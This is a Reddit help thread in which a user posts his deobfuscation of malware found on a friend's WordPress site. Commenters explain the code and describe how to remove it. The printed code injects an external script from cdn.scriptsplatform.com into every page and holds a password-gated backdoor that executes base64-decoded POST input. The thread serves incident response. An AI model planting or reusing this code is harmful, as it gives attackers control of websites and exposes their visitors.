r/PHPhelp • • May 19 '23

Solved What does this obfuscated PHP Wordpress malware do?

A friend of mine asked me for help because his Wordpress site stopped working ("Parse error: syntax error, unexpected ',' in ...").

I took a look at the malformed PHP file in question and quickly recognized that it uses some tricks to obfuscate itself. Like something you see with viruses that want to avoid being detected by malware scanners.

Here is my attempt at deobfuscating the file:

<?php

function posts_layouts_head(){
	echo "<script src='https://cdn.scriptsplatform.com/scripts/stats.js' type='text/javascript'></script>";
}
("wp_head",'posts_layouts_head');
$d = "dd";
$e = md5("343");
$f = base64_decode("ZmQ0NWRjZGI0NGFiODViYjM2NWVmYTE4ZjQ4MTM3OGQ=");

if (isset($_POST[$d])) {
	if (md5($_POST[$d]) == $f) {
		(base64_decode($_POST[$d.'1']));
	}
}
if (isset($_GET['343'])) {
	echo $e;
	die();
}

Here is the original file:
https://gist.github.com/YourMJK/15caf84c767af61af8fb2d4ba371aaad

I don't know anything about PHP or Wordpress, can somebody help me figure out what this code would have done?
Obviously it didn't run, because it had a syntax error, right?

8 Upvotes

6 comments sorted by

1

u/CyaOnDaNet May 20 '23

I had a site get hit by this last weekend. They exploited a vulnerability with Essential Addons for Elementor. Your friend needs to update that plugin ASAP if they haven't already and they need to remove the malware. That code you listed is from a file in a spoofed plugin that they modifed and uploaded called Post Layouts. That plugin needs to be deleted. They most likely also added a call to the script in your friends theme header and footer php files. They could have also created an Admin user named "wp-demouser-44" that will need to be deleted. And they could have also added code to a wordpress core file wp-blog-header.php

This is a very good write up of the exploit:
https://blog.sucuri.net/2023/05/vulnerability-in-essential-addons-for-elementor-leads-to-mass-infection.html

1

u/YourMJK May 22 '23

Thank you so much for the information and the link!

1

u/mychemicalmango May 30 '23

Hey I’m quite new to wordpress (my first client actually is potentially victim of this). I’m unable to access pages that would update versions of wordpress, the plugins or theme. It goes to a 404. Is it likely the malware is causing this redirect? Any thoughts on ways around this as to how I can update without going via those pages? Thanks.

1

u/liquid_at May 19 '23

The echo prints a script that loads stats.js from an obfuscated subdomain of orm.com

chr() function prints the letter according to the ASCII code.

so, chr(112) will return ASCII-Code 112 = p, which makes sense since it starts with http.

it translates to https://cdn.scriptsplatform.com/scripts/stats.js

you will find a lot more obfuscated code there.

1

u/32gbsd May 19 '23

Because of the synthax errors its probably incomplete but from what is there it seems to be looking for a particular post variable, checking another variable to see if its not be tampered with, decoding it, then echo it into the page. The post variable most likely would contain html and js.

1

u/C0R0NASMASH May 19 '23

That dumbass has a syntax error in their code. It's supposed to call "wp_head" with argument "posts_layout_head" as defined above (include a JS file)

The other part is basically just a "check" if the page is still infected (if a POST Request is made with a value of (dd = base_decode), it will output a code and the attacker knows it's still vulnerable